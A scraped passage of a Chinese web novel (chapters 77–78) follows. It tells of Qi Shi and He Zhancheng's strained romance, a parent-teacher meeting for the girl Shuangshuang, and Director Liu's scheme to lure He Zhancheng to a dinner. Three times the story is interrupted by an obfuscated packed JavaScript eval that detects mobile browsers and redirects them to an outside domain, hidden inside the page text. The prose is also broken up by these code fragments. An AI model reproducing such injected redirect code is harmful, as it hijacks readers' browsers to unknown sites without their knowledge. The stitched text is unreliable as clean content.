;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807328|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了就要把我一个人丢在那里吗?!戚老二,你是人吗?!” 戚时一拍脑门,愁眉苦脸更加头疼。 也是,一个是他正在喜欢的人,一个是他喜欢过的人,他自己就一个人,怎么可能同时送两个人离开? 不对!戚时转念一想,虽然今天他都亲自试探过了,何湛程和钟覃倪是同一个人的可能性微乎其微,但哪怕有万分之一、亿分之一的概率,他都不会放过! 戚时思量片刻,说:“这样吧,我知道我有些强人所难,只要你今晚肯陪我过去,我就答应你一个条件。” 何湛程来了兴致,好奇问:“什么样的条件?” 戚时毫不犹豫:“任何条件。” 何湛程一歪头,笑着逗他:“那——如果我要天上的星星呢?” 戚时说:“我给你摘。” 何湛程挑眉:“真的假的?你上哪儿摘去?” 戚时目不转睛地盯着他:“远在天边,近在眼前。” 何湛程脸上一红,低头有点不好意思地轻咳两声,正要说点儿什么缓和下暧昧气氛,戚时毫不客气地伸手进他衣领子里,把他搭配毛衣的钻石项链给单手解了下来,然后张开掌心,递到他面前。 何湛程:“?” 戚时一本正经道:“好了,现在星星给你摘到了,你必须陪我去见钟覃倪,谁反悔谁就是小狗。” “混蛋,要不是看咱俩之前睡过的份上……”何湛程恨恨磨着牙接过项链,险些没忍住扬手赏给人一个大巴掌。 戚时倏地凑近过来,飞快摸了一把他新打洞的耳朵,好奇问:“诶,你这是戴的耳钉还是耳夹啊?真的有两个洞么?” 何湛程压制住火气,瞪他一眼:“你别太得寸进尺了。” 这耳洞是他在纹身店打的。 出院后,他无法忍受胸前那道丑陋的疤,于是跑去一个很酷炫的黑人小哥开的一家很酷炫的纹身店里,让对方随便给他纹个什么东西,帮他把这个疤全部遮住。 没料对方一眼看出他这是做心脏手术留下的新疤,说什么都不肯给他纹,还劝他珍惜生命、劝他看开一点,鼓励他要爱自己,叽里呱啦说了许多人生哲理,他却越听越烦躁。 他跟黑人小哥说,他早已经无所谓生死了,他只想绚丽潇洒地活着。 黑人小哥还是不肯给他纹。 二人僵持之间,戚时突然发来信息,问他什么回京,他和对方聊了几句,心灰意懒的时候,他说出的话难免消极,戚时冷不丁给他来一句“我会自杀”,吓得他突然就不敢了。 他最终没遮住那道疤。 可他已经将近四个月没有过性|生活了。 外貌美丑不重要、心灵善良才重要,这种狗屁话都是说给丑人听的,一想到从未有过空窗期的自己这次失恋不说,一向引以为傲的外形也全毁了,他就不禁觉得自闭难过。 家里面嵌在浴室环墙的六面镶水晶的鎏金全身镜也让他给砸得稀巴烂。 他不再有一脸陶醉痴迷地欣赏着自己身体的爱好。 他麻木的生活迫切地需要寻求一点刺激,于是他就很随便地往自己身上打了两个洞。 当然,那一点转瞬即逝的痛,毫无卵用。 戚时点点头,说:“行。” 然后在扶他进酒店大门时,那只手又悄默声伸过来,丈量尺寸一般,趁机摸了两把他的腰。 戚时低头比划着手掌,小声嘀咕道:“腰围……77cm?78cm?” 何湛程终于怒了,他再也承受不住这崩溃,委屈的泪水不听使唤地夺眶而出,只听“砰”的一声闷响,他扬手就将行李箱摔在地上,歇斯底里冲人一通吼:“我让你别碰我,听不懂吗?!我都说了多少次,让你别碰我!别碰我!!!你为什么还要碰我?!你都不喜欢我了!不喜欢我了为什么还要碰我!!” 周遭路人见势一吓,连忙躲远些,驻足在远处,三两结伴围成一圈看热闹。 戚时也吓了一跳,一时心疼又自责,手足无措道:“程儿,你、你……” 何湛程登时泪流满面,忍不住大哭起来:“别叫我程儿,你都不要我了,我才不是你的程儿!” 戚时无奈一叹,弯腰捡起行李箱,整个人挡住他身子,拥着他往里面走:“程儿,外面冷,人多眼杂的,我们进去吧。” 何湛程抽噎几声:“你嫌我丢人现眼……” 戚时抬手帮他擦了下眼泪,说:“我是嫌我没用,总是让你一个小孩儿哭成这样。” 何湛程打掉他手,三两下抬袖擦干眼泪,瞪他一眼:“我不是小孩儿,我是你男人!” 戚时轻皱了下眉,张了张嘴,正要说什么,何湛程察觉失言,立刻补救一句:“你曾经的男人。” 戚时无奈:“程儿,我们做朋友吧。” 何湛程一脚踹开房门:“滚,谁要跟你做朋友!” 戚时站在门口没动,说:“我不管你怎么想,以后别给我送玫瑰花了。” 何湛程一把从他手里夺过行李箱,自顾自埋头推去床前,闷声说:“我就知道。” 戚时不解:“知道什么?” 何湛程吸吸鼻子,埋怨道:“你是故意把花丢在那里的。” 戚时叹了口气,有些无力地解释:“不是,我真的是忘了。” 何湛程一顿,随口问:“你昨晚几点睡的?” 戚时:“没睡。” 何湛程瞪他一眼:“我就知道!” 戚时没忍住笑:“行了,你赶紧休息吧,我先走了,晚上我来接你。” “不行!”何湛程蹭地跑过来,横臂挡住他去路,态度强硬道:“你这是疲劳驾驶,你敢开车乱跑我就报警举报你!” 戚时无语:“你什么时候这么有社会公德了?” 何湛程不理他这茬,说:“你现在就去我隔壁订间房休息,等中午醒了,我请你吃好吃的。” 戚时浑不在意,拨开他手,头也不回地转身离开。 “那我打车回家,好吃的什么的,我没兴趣,你自己去吃吧。” “戚时,”何湛程皱起眉头,有些无奈地望着那人背影,“我以为,你心里明白我为什么提早八小时来这里。” 戚时依旧没回头,声音淡淡: “我告诉过你了,我有在追求的人了。” 何湛程又想哭又想笑,按捺下心中酸涩,说:“我没想和你睡。” 他都丑成那个样子了,哪里还好意思再和这个见过他完美样子的人上床? 戚时脚步一顿,偏头看他一眼,不太理解地问:“那你——” “我就是想……”他深呼吸一口气,故作轻松地一笑:“哪怕隔着一堵墙,你能多陪我待一会儿。” “放心,我知道自己什么样儿,我不会缠着你的。” 77.第77章 破天荒的,戚时难得大发慈悲,没再说离开。 甚至还一脸和蔼地把何湛程扶进了屋,说,他要守着何湛程睡觉。 何湛程高兴不过三秒: 第一秒脱掉外套挂墙上; 第二秒开行李箱翻睡衣; 第三秒进浴室冲澡换衣服—— 关浴室门前,他紧张地回头一瞥,生怕人下一秒闯进来。 戚时倚靠在沙发上翘着二郎腿,一手随意地扯着领带和衬衫扣,另一手很自然地冲他举了下手机,扬眉询问:“我坐在你屋里给钟覃倪打个电话,不影响吧?” 何湛程冷呵一声。 他说呢,戚时怎么突然对他这么好,原来是跑他房间里搞侦查来了! “不影响,”何湛程神态从容地迈进浴室,关上门,说,“拨吧。” 戚时沉眸盯着那紧闭的浴室门。 他莫名很讨厌何湛程这副坦率无所畏惧的样子。 下一秒,电话拨通,钟覃倪低沉的声音传来:“喂?” 戚时皱了下眉,问:“你现在在哪儿?” 钟覃倪笑了声,说:“怎么,这么迫不及待想见我啊?” 戚时忍不住抬头望一眼浴室:“覃倪,我……” 钟覃倪打断道:“好了,我今天有点累,有事我们晚上见面的时候说吧。” 戚时叹了口气,说:“好。” 半小时后,何湛程浑身罩着热雾腾腾的水蒸气,一边拿毛巾擦着头发,一边趿拉着拖鞋推门走了出来。 戚时正埋头沉浸式打游戏,听到动静,抬头瞥了一眼。 何湛程身上还是有点儿肉的,薄薄衣料勾勒出性感颀长的身材,胸肌线条很漂亮,屁股也翘,宽松睡裤都遮不住他傲人的翘臀,哪怕他脸色苍白带着病气,举手投足,缓慢优雅,一套价值不菲的黑真丝睡衣,衬得皮肤白皙玉润。 尤其那张脸,雍容清冷,十足的矜贵禁欲。 要怪就怪这小子太高了,瘦得匀称结实,为了维持模特般的身材,何湛程没有刻意去增肌,远远一看跟个柴火棍似的,只有近距离地触摸他,才会知道他的身子里里外外都很有料。 何湛程擦两下头发,钻被窝的时候,很随意地把毛巾朝沙发上一投,“啪”的一声,正好甩在视线一直随着他的移动而上下移动的、戚时的脸上。 戚时抬手拿掉湿漉漉的毛巾,一皱眉,说:“等头发全干了再睡。” “我吹干了的。” 何湛程平躺在床上,裹着被子顾涌几下,给自己严丝合缝地掖好被角,只露一颗炸着鸡窝头的脑袋。 他闭眼指挥道:“你帮我关一下灯,然后去隔壁睡一会儿吧。” 戚时屁股黏在沙发上,一动不动地沉眸盯着他:“隔壁有人住了。” 何湛程“哦”一声,说:“那去另一个隔壁。” 戚时冠冕堂皇道:“另一个隔壁也有人住了,对面也有人,两个斜对面都有人了。” 何湛程睁开眼,扭脸诧异看他:“怎么会?这层不都是总统套房么,哪有这么多人住?” “谁知道,”戚时倒身斜躺在沙发里,拿过个皇冠抱枕当枕头,然后随手扯过何湛程的羽绒服盖在身上,闭眼道,“算了,我在这里眯会儿得了。” 何湛程唰地一下掀被子下床,风风火火地拿起大衣披身上,光着脚丫子就要往外跑,说:“等着,本少爷马上就让他们给你腾地儿!” “去吧,”身后人懒洋洋道,“你出去了,老子直接一个反锁倒插门,你的房间和床就都归我了。” 何湛程一脸不解扭头瞪他:“你有病吧?” 戚时眼皮也没掀一下,说:“我数三个数,你给老子躺回去。” 何湛程又骂骂咧咧地躺了回去。 重新盖上被子,闭上眼准备入睡,大脑缓了两三秒,他才反应来。 于是又抱着一丝期待,睁眼望向沙发上的人:“戚时,我问你个问题行吗?” 沙发人鼻音“嗯”一声,说:“问呗。” 何湛程一脸认真道:“如果我和钟覃倪同时掉河里,你先救谁?” 沙发人想也不想:“废话,当然是钟覃倪了!” 何湛程瞬间上火,正要把人痛骂一顿,沙发人紧跟着来一句:“你下了水就跟鱼回了家似的,加勒比海都快游了一圈了,区区一条河对你来说算个毛线?” 何湛程:“……” 虽然心里清楚,名字只是一个代称符号,戚时在乎的是他这个人,又不是他的名字,何湛程也好,钟覃倪也好,张三李四王五赵六,随便他以什么身份出现,他都是他。 但有些事,心里明白归明白,真正比较起来,他现在是何湛程,又难免要吃醋。 何湛程翻了个身,探头望了他一会儿,轻声呼唤道:“戚时。” “嗯。” “我没跟李天涯上床。” 下一秒,室内陷入一片死寂。 那人说:“不重要了。” “我也不是故意要气你的,”何湛程低下头,手指胡乱抠着棉被角,有些紧张地解释着,“我以为,我能找一个和你差不多的人……我以为我能和别人重新开始,但后来才发现,别人再好也不是你,我就又跑回去找你了。” “我不知道你还愿不愿意要我。” “那天我出现在你公司门口,就是想告诉你,我想重新追你。” “如果你第一天没同意,我第二天就接着追,第八天不同意,我第九天就接着追,如果你一辈子不同意,我就一辈子都追在你身——” “何湛程,”那人打断,“我累了,你也赶紧休息吧。” “……嗯。” ** 中午是何湛程先醒的,抓起手机看了眼时间,11:30。 何湛程睡饱了,起身掀被子下床,走到阳台前拉开窗帘。 外面雪已经停了,满世界冰天雪地,令人眩晕的白光大片洒落进屋,何湛程被刺得眯起眼,又将窗帘收拢了些。 北方的冬天总带几分肃杀,高楼大厦钢筋水泥堆砌起整座城市的工业棱角,刺骨寒风刮过,如一把锋利的刀,削得路边冬青簌簌落叶,吹倒路边好几排的共享单车。 楼下穿荧光马甲的工人们在举着笤帚做清扫,酒店旁边到处都是黑色的雪泥,好在太阳终于冒了头,稍不多时,外面狼藉一片的泥地就会全干了。 何湛程洗漱过后,本打算拉着戚时去隔壁餐厅吃川菜,没料戚时懒洋洋的,埋脸在枕头里,说没胃口,不想出门。 何湛程有点担心,将室内温度调高,然后蹲在沙发旁,一只手覆盖在戚时的额头,另一手对比摸着自己的。 “还好,没发烧,不然还能送你去医院住个一两天。” 他不知是喜是忧,叹了口气,说:“那随便点个外卖吃吧,你想吃什么?” 戚时歪头趴在沙发上,眼睛一眨不眨地盯着他看。 何湛程挑眉:“看什么呢?聋了?等着我给你比划手语呢?” 戚时翘了下嘴角,说:“点你想吃的吧。” 何湛程有些不满:“你怎么该客气的时候不跟我客气呢?” 戚时没吭声,等了一会儿,见何湛程一屁股坐他脚边沙发上,低着头一脸认真地选着外卖,他突然喊:“钟覃倪!” 何湛程滑动在屏幕上的手指倏地一顿,整个人石雕一样,维持着原样姿势不动。 内心忍不住破口大骂。 他爹的个驴粪球! 戚时这个神经病,吓他一大跳,差点儿就应了! 戚时见他没反应,异常执拗地又喊他一声:“钟覃倪!” 何湛程没理他。 戚时继续喊:“覃倪!钟覃倪!” 何湛程:“……” 戚时哼一声,蹬掉左脚的皮鞋,抬起脚丫子,伸进何湛程的腰窝里,不轻不重地踩了他两脚,嚷道:“喂!钟覃倪!说话!快说话!” 何湛程气笑了。 按捺着火气,扭头瞪他一眼:“你有病吧?!都说了我不是他!” 戚时干脆从沙发上跳起来,爬过去何湛程身边,没完没了地上蹿下跳冲人探头叫:“钟覃倪!钟覃倪!钟覃倪!钟覃倪钟覃倪钟覃倪钟覃倪钟覃倪——!!” 何湛程抄起手边外套,反手一个猛扣,将羽绒服蒙在这神经病的脸上,然后趁人看不见,大力一把推人回去躺着。 “滚!” “还有,我点的香辣爆炒鸡爪和卤肉饭,你爱吃不吃!” ** 下午去学校前,戚时陪着何湛程去附近花店帮霜霜选礼物,说,自从那次电话,她三天两头就往总裁办跑,作业也在他办公室里写,但她小脾气还挺臭,不太跟他说话。 只是偶尔,他办公室会来艺人谈事,一群打扮光鲜亮丽的男女明星,每次推门进来,一口一个“时哥”的喊,连周身擦过的空气都是香的,霜霜那怨气四溢的眼神跟淬了毒的针一样,犀利又霸道,哪个艺人要谈完正事儿还赖在他办公室不走,都轮不到戚时说赶人,霜霜就先瞪着眼珠子,对他们一通突突突扫射,把那些人都吓得跑没影了。 业内权威导演刘祥刘导家的掌上明珠,他们得罪不起。 何湛程倒很诧异,说,他自从那次后,没再收到过霜霜的电话,这次来参加她家长会,还是他主动联系她的。 何湛程回忆道:“当时她还挺镇定,让我忙的话就不用过来了,怪懂事的。” 戚时摇头说不对:“那小妮子撒了好几天的欢,昨天还让我带她去化妆室做指甲呢。” 何湛程挑眉:“九阴白骨爪的那种指甲?” 戚时“嗐”一声,伸手冲人比划两下:“短指甲,贴了一堆库洛米,照着镜子臭美了老半天呢。” 何湛程笑了声,最终选了束小百合,站到收银台前掏手机扫码,随口道:“你后来没欺负人家了吧?” 戚时先一步替他付了账,没好气道:“她的腕儿比刘导的腕儿还大呢,我哪敢啊!” 二人并肩走出花店,往学校方向散步走着。 戚时注意到何湛程手里除了刚买的花,还拎着两个圣诞包装的礼品袋。 这是何湛程自己从行李箱里拿出来的礼物,包装比今早餐厅赠送的价值五百元的盲袋还精美,封口用驯鹿和雪橇形状的卡通曲别针封紧,很漂亮。 于是随口问了句:“送那小妮子的?里面都装了点儿啥?” “你猜?” 何湛程笑着递给他那个驯鹿曲别针的礼袋,说:“这个是送你的,拆开看看。” 戚时诧异地接过,忍不住眼尾笑出褶皱,说:“花里胡哨的,我怎么也有?” 何湛程嘴角微微扬着,胳膊轻撞他一下:“那怎么了,你也是小朋友。” 戚时不免有些惭愧,说:“最近记性不太好,我确实没想到那么多,要不待会儿家长会结束了,我也送你一个吧?” 何湛程不置可否,问他:“你不怕钟覃倪吃醋?” 戚时想着也对,说了句“好吧”,没管何湛程突然黑下来的脸,低头认真拆开礼袋。 是条一米五长的手工钩织的深灰羊绒围巾,还有一张精美的圣诞贺卡,上面写着一行祝福: 戚时小朋友,圣诞快乐!祝你天天开心快乐、永远幸福! 右下角没有署名,但画了一个戚时形象的Q版小人儿:纯白T恤,半挽起一条裤腿,短发利落,身姿矫捷,一脸得意地在人群中央耍着单杠—— 十分惟妙惟肖的笔触。 戚时诧异问他:“少爷,别跟我说这是您老人家自己织的?” 何湛程得意一笑:“如何呢?” 戚时挑眉:“手艺倒挺好,我听你爸说,你准备明年暑假前就要读完剩下的两个学年?你天天上课写作业不忙么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815098|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何湛程骄傲挺起胸膛,说:“我在医——我上课的时候织啊!” 戚时冲人竖起大拇指:“好吧,算你厉害!” 何湛程臭屁一撩头发:“那必须!” 戚时冷不丁突然喊:“钟覃倪!” 何湛程面无表情地盯着他。 戚时讪讪一笑,有点尴尬地举起四指:“我发誓,这是最后一次。” 何湛程翻了个大白眼,走了。 霜霜在五年级一班,一个班才三十多个小孩儿,据说选学校的时候,刘导先带着霜霜来溜达了一圈,让闺女看看哪个班的同学们更顺眼,再把她送去哪个班。 何湛程戴着戚时从刘导那儿拿来的入校通行证——一个提前半月就发到家长手里的胸牌,上面写着“五年级(一)班/刘奕霜”,跟着举牌子来迎接的老师,一行家长们进去班里。 戚时虽然是个集团老总,但他没孩子,头一次进来这种国际贵族学校,一路上忍不住跟何湛程念念叨叨,说他上学那会儿,尤其是高中,学校为了多招生收学费,一个班七十多个人,最后一排同学的后背都挤到后黑板了,每天教室里乌泱泱的,班里要是考得不好,班主任还不给他们开空调。 “那你坐第几排?” “……最后一排,挨着门和垃圾桶。” 何湛程抬手拍拍他肩膀:“不容易,我们时哥混到今天太不容易了。” 戚时挥挥手,颇有些“好汉不提当年勇”的架势。 然后凝眉低着头,看敌人一样,紧盯着何湛程薄薄起伏的胸肌。 怎么会呢? 如果钟覃倪就是何湛程的话,这俩人的胸肌也该整齐划一才对啊? 他也是刚才在酒店喊了很多遍钟覃倪的名字,才终于悟出那个谐音。 但愿不是钟覃倪的父母搞什么幺蛾子的花样儿。 更何况,豪门世家给后代取名字多讲究啊,什么何闽轩、何棣坤、何湛程……谁会给儿子取这种容易让人误会的名字? “小程子!!” 俩人在走廊正聊着,霜霜如一道霹雳闪电狂奔而来,一把抱住何湛程,仰起一张笑脸,眼眶泛着泪,说:“小程子!我同学说走廊里进来一个大帅哥,我就知道是你!” 何湛程笑了声,揉了揉她的头。 戚时在一旁轻咳两声。 霜霜瞟他一眼,有点别扭地撇了撇嘴。 下一秒,她突然注意到何湛程手里的东西,立刻惊喜道:“哇!这是送我的吗?!” 何湛程弯下腰,把花和礼物送给她,笑道:“公主殿下,这是小程子骑士长送给您的礼物,您要永远开心哦!” 周遭一众围观帅哥的小女生们不禁羡慕出声:“哇——好浪漫!” 霜霜颇为得意地收下花束,然后埋头拆礼物。 戚时忍不住也探头瞅了两眼。 是一顶正中央镶嵌着粉红宝石的皇冠,做工精细的银饰花边装饰着闪亮耀眼的水晶和钻石,一看就很贵重。 霜霜咧嘴笑个不停,小心翼翼地把它戴在自己的头上。 一众同学投来赞美羡慕的目光,她不禁有些羞涩,怀里抱着那束百合,眨眼问面前两个人:“怎么样?好看嘛?” 何湛程和戚时立刻她竖起大拇指,争前恐后地称赞:“好看!公主好看,皇冠也好看!公主配皇冠,那就更好看了!!” 霜霜咯咯笑起来。 童言无忌,她说,你俩就像夫唱妇随! 何湛程听罢一笑,没解释。 戚时直接假装没听见。 霜霜的家长会没有谈半句成绩,班主任做了四百来页的PPT,全程就班上的每个孩子的成长、兴趣和爱好做了分析和汇报总结,以及今后学校方面会就孩子的特长方面如何进行培养……客观负责,枯燥无聊,好几个瞬间,戚时还以为自己是来开会的。 不过据他所知,霜霜成绩是很不错的,之前被同学们排挤,她一直忍气吞声,后来和人打起来,也是因为对方弄坏了她的课本。 何湛程不太关注这些,他只问了霜霜交到好朋友了没,霜霜坐在他旁边,给他指了坐在前面一排左右两个梳马尾的女生。 “左边的叫陈钰,右边的是马笑笑,她俩原先都是我的好朋友。我和马笑笑是一个小区的,有时候司机来接我,我会捎着她一起走,陈钰就觉得我俩老是孤立她,其实没有的,我跟她解释好几遍了,她都不听,前天中午我们仨一起吃饭,她突然又发脾气,说我和马笑笑趁她不在的时候嘻嘻哈哈的,一定是在说她坏话,我也气坏了,就说不跟她玩了。” “但是……”霜霜叹了口气,“我这两天看她老是自己一个人坐在位置上,又觉得她有点可怜。” “我们仨原先是一个小组的,现在她宁愿一个人完成作业,也不要加入我们……可是!如果她不给我道歉的话,我也不要理她!” “你再多等两天呢?看看她会不会主动来找你。” 何湛程帮她分析着:“如果她真的在乎你,不管发生什么事,哪怕你不解释,她也会站到你这边;但如果她总是挑你毛病,每次一出问题,不想着怎么去沟通解决问题,只会发脾气挤兑你,还动不动就翻旧账,这种人——” 霜霜气呼呼地追问:“这种人怎样?听你说起来,她是不是特别坏?!” 何湛程顿了顿,偏脸瞥一眼坐在旁边、正眼皮打架仿佛随时都会一头栽过去的戚时。 他知道他的二哥是生病了。 在他不在的那段日子里,在何湛程没办法现身的日子里,在钟覃倪没办法光明正大陪在戚时身边的日子……他成为那万千因子中最致命的一个,他让他心爱的人生病了。 心里突然感觉好难过,他眼睛胀得酸痛,低头强绷着笑脸,不让眼泪流出来。 他抬手摸了摸她的头: “这种人,大概是从小就被家里惯坏了吧,才会不懂得珍惜身边人。” 78.第78章 五点半,教室窗外的天已经黑下来了,家长会在一曲欢快悠扬的《小星星变奏曲》的乐声里正式步入结束。 许多家长都还没走,三两成群地交谈说笑,聊咖啡、艺术、普拉提、沙龙会和下午茶、你老公做建筑地产的、我老公做外企高管的……低声絮语的谈笑,来往多是年轻富太太,举止笑容温柔婉约,手里牵着的儿子或女儿,一个赛一个的精致,堪称迷你版的她们自己。 这种场合鲜少有父亲的身影出现,更别提二十来岁的年轻男人身影。 于是有几个好奇的家长来搭话,问何湛程和戚时:“二位是哥哥来给妹妹开家长会吗?” 俩人点点头,说:“是。” 有人笑着八卦,半开玩笑道:“两位哥哥都是单身吗?” 何湛程笑着说:“不是。” 戚时比较严肃:“我有在追求的人了。” 何湛程也板起脸:“我也是。” 戚时瞥他一眼。 何湛程笑眼看他,捏手指给他比了一个小心,然后撅嘴一吹,那颗心轻飘飘地朝他飞了过去。 戚时别过脸,视而不见。 一众神经敏锐的吃瓜女群众嗅出几丝不对劲,含笑闭嘴,缓缓退场。 霜霜挺自豪地说,今天家长会的后黑板报是她画的,字也是她写的。 戚时点点头,夸了句“挺好”,然后给她收拾书包,准备结束走人。 何湛程说不着急,这画明天估计就得擦掉了,于是让霜霜戴上皇冠,站到黑板报那里,然后从挎包里拿出相机,蹲在后面帮霜霜拍美照。 “来,霜霜,喊‘茄——子——’!” “我不想喊茄子,我要喊小程子!” “行啊,那你喊小程子吧!” “三——二——一!” “小程子!” 戚时待在屋里嫌闷得慌,一个人走到教学楼外的雪地里透气。 夜空黑漆漆的,稀疏闪烁着几颗星,冷风飕飕刮过,世界万籁寂寥。 火光“噗呲”一声,他低头燃上一支烟,刚吸了两口,刘导卡点来电话,问戚时他们完事儿没,他今晚在好来福大酒楼正好有个饭局,让他们忙完了带霜霜过来一起吃个饭。 戚时吐了口烟,咳嗽两声,然后不留情面地吐槽对方:“你到挺会省事儿,人家何湛程大老远从美国跑一趟给你闺女开家长会,你不得单独请人家啊?” 刘导啧一声:“这不正好赶上了嘛!而且在场也都没外人,许辛许总、陈牧源陈总、刘洸刘局、赵景山赵老板,你认识,湛程也都认识!知道湛程今天回京,他们都嚷嚷着叫他一块儿来喝酒呢!赵景山说,他还是湛程拜过把子的亲哥哥呢!这眼下大家伙儿兴致正高,你可别挑拨离间啊!” 戚时不屑嗤一声:“少来,他们和他都不是一个圈子里的,什么时候认识的?上哪儿认识的?梦里?” 刘导哈哈一笑,说:“这你就不知道了!我跟你说啊,古语有云:士别三日,当刮目相看!年初你撵我组里来的那位调皮捣蛋的祖宗爷,你猜他现在身价多少?” 戚时眯眼吸了口烟,问:“什么意思?” 刘导笑:“嗐,我也是刚听说,六月份的时候,他们燕大校友圈里横空出世一个财神爷,一开始,只是听说他跟佟校长关系匪浅,咱这圈里圈外,多少都给他三分薄面,但凡他感兴趣的人,他能结交的全结交了一个遍,后来,好家伙!这位更是大把撒钱、大手笔送礼,等到快上桌吃饭了,他才一脸含蓄地表明身份,请那一帮子前辈多担待提携点儿。” “啧啧啧!这钱也给了、礼也送了、酒也喝了、面儿也给了,里里外外,做事儿那叫一个体面周全、滴水不漏!你看人家,年纪轻轻的,不靠爹不靠家里,出来创业,一个人在酒局上喝生喝死的,就为了混张入场券,这就叫:会、做、人!这种年轻人,谁见了不得鼓掌叫一声好啊?更别提,他还是何澜的儿子!” “你猜,那一夜消息传遍全京城,惊掉了多少人的下巴?!” 戚时眉头一皱,莫名有些心烦意乱。 他低头掸了下烟灰,沉默好一会儿,仍有些不太相信:“什么乱七八糟的?你说这人是何湛程?” 刘导反问:“不然呢?” 刘导感慨道:“怎么说都是何澜养出来的儿子,你看他哥儿几个谁是脓包?老戚,我告诉你啊,你刘哥这人别的本事没有,就看人这一点,放眼整个京城,我说第二,没人敢说第一!” “我其实早就看出这个何湛程绝非池中之物!他在我剧组的时候,我平时从他一些异于常人的行为上就能看出,这是一块儿未经雕琢的璞玉!有道是,他日一朝龙得水,必令长江水倒流!这不,人家短短小半年,这不就流回来了么?” 戚时:“……” 不知道刘导搁这儿吹什么牛逼。 俩人好着的时候,何湛程可找他告过状,说刘导私下嫌他纨绔子弟,怕他带坏霜霜,不让霜霜和他走得太近,这眼下,刘导这马屁拍的,又是几个意思啊? “一门父子四个人,个儿个儿都是实干家!要么是大户人家出身呢,眼界就是高!” 刘导继续絮叨着:“你知道不?他在京注册了个风投机构,叫‘聚星资本’,也是人家有钱,眼光又毒,一下子就投了二十多家初创公司,都是科技企业,这小半年虽然时间短,但科技发展的速度快啊!你就看看吧,别说整个中国,就是放眼全世界,哪怕一夜之间,这AI在全球股市上都颠覆多少次了?” “说起来也让人眼红,你瞧这小子才多大岁数?他就是赶上好时代了,轻轻一站,就站在了风口上,这下可算是赚麻了!” “我刚听赵景山说,他上月回了趟老家,转身一走,就把公司分部开到硅谷去了,接下来要做什么量子计算模型预测加密比特币,啧,那肯定更有得赚了!” “老戚,”刘导语气一转,突然长吁短叹起来:“哥实话告诉你吧,这小半年里,湛程行踪不定的,老是逮不着人,电话时接时不接,哥今晚这一桌子人聚到一块儿,不为别的,就为了硅谷一日游来的。 你刘哥其实还行,年纪大了,淡泊名利惯了,钱什么的,嗐,那都是浮云!但赵景山他们帮人可都眼馋得不行啊,人五人六的都想掺和一脚,我这帮都是打小穿一条裤子的铁哥们儿,这话到嘴边也不好推脱,正好你跟湛程关系好,你今晚上把人给我拉过来,嗯,湛程那边你就先瞒着点儿,甭管最后事儿能不能成,反正哥肯定不会让你白忙活一场,怎么样?” 戚时眯眼吸了口烟,冷风吹过,冻得他夹烟的手指发红,他笑了声,鼻腔里轻喷出淡青色的薄雾,转眼间又随风散去。 他一甩手,将炽红烟头扔在地上,踩着皮鞋两脚碾灭。 “老刘,”戚时烟嗓被熏得低沉发哑,“人家远渡重洋替你带闺女,你搁这儿背后算计人家,合适么?” 刘导忙打断:“诶,你这话可就太难听了啊!这在场的都是朋友,大家一块儿见个面咋啦!当初湛程费尽周折想跟老赵他们交朋友,头一天宿醉都喝吐了,第二天还请大伙儿打牌蒸桑拿呢,现在一帮哥哥们想约弟弟吃个饭,那咋啦?!” 戚时笑了笑,说:“没咋。” “明明酒量不行还去混酒局,硬喝喝到吐的是他又不是我;一个从小锦衣玉食的大少爷,明明什么都不用干也能无忧无虑地过好一生,偏就要来蹚这一趟浑水的是他,不是我;明明一个二十出头的学生,吃饱了撑的非他妈要当什么顶天立地的大男人,傻了吧唧的把自己送进医院的是他,又不是我,所以——” “他怎么样,关我屁事?” 刘导一拍大腿,笑道:“那不得了!待会儿湛程来了,你也吃点儿,我给你备着碗筷呢!” 戚时淡笑:“嗯,多谢刘哥了。” 刘导:“行,就这么着吧,你几点能到?我这边先点菜,咱们回头边吃边聊。” 戚时轻啧一声:“不知道,且等呢,学校这边还没完事儿呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816638|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刘导不满皱眉:“这都几点了,还没完事儿?说好减压减负快乐教育呢?!那不成,你先领着他们过来吧,别误了正事儿。” 戚时:“嗯。” 刘导有点上火:“你嗯啥嗯,我说现在让你先带他们过来!你几点能到?!” 戚时笑:“不知道,你们先等着吧。” 刘导没法,问:“行,等多久?” 戚时继续笑:“没多久,你就等着就成了。” 然后冷着脸挂断电话。 一转头,深眸阴沉,正碰上楼口散会的家长群。 何湛程穿的冲锋衣外套,身上挂着LV装相机用的黑色斜挎包,一手拎着霜霜的小书包和暖水壶,臂弯里搭着戚时毛呢大衣,另一手牵着裹上臃肿羽绒服后、有点像粉紫色圆球的霜霜走出来。 下台阶时,何湛程一抬眼,见戚时正攥着手机站在楼前吹冷风,脚边落着几个新踩灭的烟头,一尊黑色石雕似的矗立在雪地里,脸色非常之臭。 何湛程轻轻一叹。 